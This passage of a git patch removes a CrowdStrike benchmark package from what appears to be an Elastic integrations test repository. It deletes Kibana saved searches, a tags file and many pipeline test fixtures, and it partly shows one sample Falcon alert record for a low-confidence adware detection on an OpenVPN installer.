"alias": null, - "disabled": false, - "field": "event.kind", - "index": "logs-*", - "key": "event.kind", - "negate": false, - "params": { - "query": "alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "event.kind": "alert" - } - } - } - ], - "relation": "AND", - "type": "combined" - }, - "query": {} - }, - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index", - "negate": false, - "params": [ - { - "meta": { - "alias": null, - "disabled": false, - "field": "host.hostname", - "index": "logs-*", - "key": "host.hostname", - "negate": false, - "type": "exists", - "value": "exists" - }, - "query": { - "exists": { - "field": "host.hostname" - } - } - }, - { - "meta": { - "alias": null, - "disabled": false, - "field": "observer.address", - "index": "logs-*", - "key": "observer.address", - "negate": false, - "type": "exists", - "value": "exists" - }, - "query": { - "exists": { - "field": "observer.address" - } - } - } - ], - "relation": "OR", - "type": "combined" - }, - "query": {} - } - ], - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index", - "query": { - "language": "kuery", - "query": "data_stream.dataset :\"crowdstrike.fdr\" " - } - } - }, - "sort": [ - [ - "@timestamp", - "desc" - ] - ], - "timeRestore": false, - "title": "[Crowdstrike] Newest FDR Alerts", - "usesAdHocDataView": false - }, - "coreMigrationVersion": "8.8.0", - "created_at": "2025-03-01T10:24:07.905Z", - "id": "crowdstrike-9b99d190-8214-11ee-bae0-937af575b750", - "managed": true, - "references": [ - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index", - "type": "index-pattern" - } - ], - "type": "search", - "typeMigrationVersion": "10.5.0" -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json deleted file mode 100644 index 890773caa9..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json +++ /dev/null @@ -1,99 +0,0 @@ -{ - "attributes": { - "columns": [ - "crowdstrike.event.Category", - "event.action", - "message" - ], - "description": "", - "grid": {}, - "hideChart": false, - "isTextBasedQuery": false, - "kibanaSavedObjectMeta": { - "searchSourceJSON": { - "filter": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.falcon" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.falcon" - } - } - }, - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index", - "key": "crowdstrike.event.Category", - "negate": false, - "params": { - "query": "Incidents" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "crowdstrike.event.Category": "Incidents" - } - } - } - ], - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index", - "query": { - "language": "kuery", - "query": "data_stream.dataset : \"crowdstrike.falcon\"" - } - } - }, - "sort": [ - [ - "@timestamp", - "desc" - ] - ], - "timeRestore": false, - "title": "[Crowdstrike] Newest Falcon Incidents", - "usesAdHocDataView": false - }, - "coreMigrationVersion": "8.8.0", - "created_at": "2025-03-01T10:24:07.905Z", - "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750", - "managed": true, - "references": [ - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index", - "type": "index-pattern" - } - ], - "type": "search", - "typeMigrationVersion": "10.5.0" -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml deleted file mode 100644 index 47f20a8f55..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml +++ /dev/null @@ -1,4 +0,0 @@ -- text: Security Solution - asset_types: - - dashboard - - search From 0e44737e103ab94316d99190917f767896b47fb4 Mon Sep 17 00:00:00 2001 From: kcreddy Date: Thu, 26 Mar 2026 00:39:42 +0530 Subject: [PATCH 16/19] Remove unrelated tests --- .../alert/_dev/benchmark/pipeline/config.yml | 1 - .../_dev/benchmark/pipeline/test-alert.log | 10 - .../alert/_dev/test/pipeline/test-alert.log | 11 - .../pipeline/test-alert.log-expected.json | 2133 ----------- .../_dev/test/pipeline/test-common-config.yml | 4 - .../_dev/test/policy/test-default.expected | 134 - .../alert/_dev/test/policy/test-default.yml | 9 - .../_dev/test/policy/test-traced.expected | 134 - .../alert/_dev/test/policy/test-traced.yml | 10 - .../_dev/test/scripts/api_error_response.txt | 111 - .../alert/_dev/test/scripts/env.txt | 25 - .../alert/_dev/test/scripts/unauthorized.txt | 110 - .../_dev/test/system/test-common-config.yml | 15 - .../falcon/_dev/benchmark/pipeline/config.yml | 1 - .../benchmark/pipeline/test-event-stream.log | 9 - .../pipeline/test-falcon-audit-events.log | 13 - .../pipeline/test-falcon-auth-activity.log | 2 - .../test-falcon-cspmioa-streaming.log | 1 - .../test-falcon-cspmsearch-streaming.log | 1 - ...lcon-data-protection-detection-summary.log | 2 - .../test-falcon-detection-summary.log | 1 - .../test-falcon-epp-detection-summary.log | 15 - .../benchmark/pipeline/test-falcon-events.log | 1 - .../pipeline/test-falcon-firewall.log | 1 - ...st-falcon-identity-protection-incident.log | 1 - .../pipeline/test-falcon-incident-summary.log | 1 - .../pipeline/test-falcon-ipd-summary.log | 1 - .../test-falcon-mobile-detection-summary.log | 1 - .../test-falcon-recon-notification.log | 1 - .../pipeline/test-falcon-remote-response.log | 2 - .../benchmark/pipeline/test-falcon-sample.log | 7 - .../pipeline/test-falcon-user-activity.log | 1 - .../test-falcon-xdr-detection-summary.log | 1 - .../_dev/deploy/docker/docker-compose.yml | 20 - .../_dev/deploy/docker/files/config.yml | 75 - .../sample_logs/falcon-audit-events.log | 277 -- .../docker/sample_logs/falcon-events.log | 94 - .../docker/sample_logs/falcon-sample.log | 254 -- .../_dev/test/pipeline/test-common-config.yml | 15 - .../_dev/test/pipeline/test-event-stream.log | 10 - .../test-event-stream.log-expected.json | 984 ------ .../pipeline/test-falcon-audit-events.log | 277 -- ...test-falcon-audit-events.log-expected.json | 786 ----- .../pipeline/test-falcon-auth-activity.log | 92 - ...est-falcon-auth-activity.log-expected.json | 190 - .../test-falcon-cspmioa-streaming.log | 26 - ...falcon-cspmioa-streaming.log-expected.json | 94 - .../test-falcon-cspmsearch-streaming.log | 52 - ...con-cspmsearch-streaming.log-expected.json | 76 - .../test-falcon-customer-ioc-event.log | 6 - ...alcon-customer-ioc-event.log-expected.json | 401 --- ...lcon-data-protection-detection-summary.log | 2 - ...ection-detection-summary.log-expected.json | 247 -- .../test-falcon-detection-summary.log | 197 -- ...falcon-detection-summary.log-expected.json | 383 -- .../test-falcon-epp-detection-summary.log | 16 - ...on-epp-detection-summary.log-expected.json | 3117 ----------------- .../_dev/test/pipeline/test-falcon-events.log | 160 - .../test-falcon-events.log-expected.json | 378 -- .../test/pipeline/test-falcon-firewall.log | 46 - .../test-falcon-firewall.log-expected.json | 118 - ...st-falcon-identity-protection-incident.log | 26 - ...tity-protection-incident.log-expected.json | 65 - .../pipeline/test-falcon-incident-summary.log | 25 - ...-falcon-incident-summary.log-expected.json | 67 - .../test/pipeline/test-falcon-ipd-summary.log | 75 - .../test-falcon-ipd-summary.log-expected.json | 181 - .../test-falcon-mobile-detection-summary.log | 80 - ...mobile-detection-summary.log-expected.json | 196 -- .../test-falcon-non-object-dropped.log | 1 - ...alcon-non-object-dropped.log-expected.json | 5 - .../test-falcon-recon-notification.log | 23 - ...alcon-recon-notification.log-expected.json | 53 - .../pipeline/test-falcon-remote-response.log | 30 - ...t-falcon-remote-response.log-expected.json | 120 - .../_dev/test/pipeline/test-falcon-sample.log | 345 -- .../test-falcon-sample.log-expected.json | 743 ---- .../test/pipeline/test-falcon-tags-list.log | 31 - .../test-falcon-tags-list.log-expected.json | 73 - .../_dev/test/pipeline/test-falcon-tags.log | 31 - .../test-falcon-tags.log-expected.json | 70 - .../pipeline/test-falcon-user-activity.log | 25 - ...est-falcon-user-activity.log-expected.json | 76 - .../test-falcon-xdr-detection-summary.log | 74 - ...on-xdr-detection-summary.log-expected.json | 190 - .../_dev/test/policy/test-default.expected | 42 - .../falcon/_dev/test/policy/test-default.yml | 9 - .../_dev/test/policy/test-streaming.expected | 61 - .../_dev/test/policy/test-streaming.yml | 10 - .../_dev/test/system/test-logfile-config.yml | 7 - .../test/system/test-streaming-config.yml | 12 - 91 files changed, 13909 deletions(-) delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml deleted file mode 100644 index 30a2b50cf6..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml +++ /dev/null @@ -1 +0,0 @@ -num_docs: 10000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log deleted file mode 100644 index c0e095d6dd..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log +++ /dev/null @@ -1,10 +0,0 @@ -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed 